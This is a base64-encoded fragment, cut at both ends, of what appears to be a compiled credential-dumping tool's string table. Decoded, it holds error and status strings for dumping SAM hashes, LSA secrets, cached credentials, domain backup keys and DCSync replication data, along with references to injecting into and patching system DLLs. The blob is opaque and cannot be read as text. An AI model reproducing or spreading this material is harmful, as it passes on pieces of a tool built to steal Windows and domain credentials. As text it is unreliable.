pACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAHUAcgByAGUAbgB0AAAARABlAGYAYQB1AGwAdAAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAASgBEAAAAAABTAGsAZQB3ADEAAABHAEIARwAAAEQAYQB0AGEAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAlAHMACgAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAFYAAABTAEEATQBcAEQAbwBtAGEAaQBuAHMAXABBAGMAYwBvAHUAbgB0AAAATABvAGMAYQBsACAAUwBJAEQAIAA6ACAAAAAAAFUAcwBlAHIAcwAAAE4AYQBtAGUAcwAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgAEsATwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAABQAG8AbABfAF8ARABtAFMAAAAAACUAcwAgAG4AYQBtAGUAIAA6ACAAAAAAACAAKAAgAAAAIAApAAAAAABQAG8AbABpAGMAeQAAAAAATABvAGMAYQBsAAAAQQBjAAAAAABQAHIAAAAAAFAAbwBsAEQAbgBEAEQATgAAAAAARABvAG0AYQBpAG4AIABGAFEARABOACAAOgAgACUAdwBaAAoAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADIAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADIAIAA6ACAAAAAAACAAIABDAGgAZQBjAGsAcwB1AG0AIAAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBTAGUAdABWAGEAbAB1AGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAxACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUALgAqAHMAAAAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAABWaXJ0dWFsQWxsb2MAAAAAbWVtY3B5AABwAGEAdABjAGgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAFMAZQByAHYAaQBjAGUAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABPAGwAZABlAHIAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgAFIAYQBuAGQAbwBtACAAVgBhAGwAdQBlACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAcwBlAGMAcgBlAHQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAASQBuAHYAYQBsAGkAZAAgAEcAVQBJAEQAIAAoADAAeAAlADAAOAB4ACkAIAA7ACAAJQBzAAoAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAACgBDAG8AbQBwAGEAdABpAGIAaQBsAGkAdAB5ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHIAcABkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGsAZABjAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoAAAAAAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIAB1AHMAZQByACAAYQBjAGMAbwB1AG4AdAAKAAAAbABkAGEAcAAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAFsARABDAF0AIABtAHMALQBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoACAAaQBzADoAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAUgBTAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzACwAIABpAG4AdgBhAGwAaQBkACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAYQBuAGQALwBvAHIAIABjAE4AdQBtAE8AYgBqAGUAYwB0AHMAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAKAE8AYgBqAGUAYwB0ACAAUgBEAE4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBDAFIASQBQAFQAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAMAB4ADQAIAA/AAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAATABPAEMASwBPAFUAVAAAAFAAQQBTAFMAVwBEAF8ATgBPAFQAUgBFAFEARAAAAAAAUABBAFMAUwBXAEQAXwBDAEEATgBUAF8AQwBIAEEATgBHAEUAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMA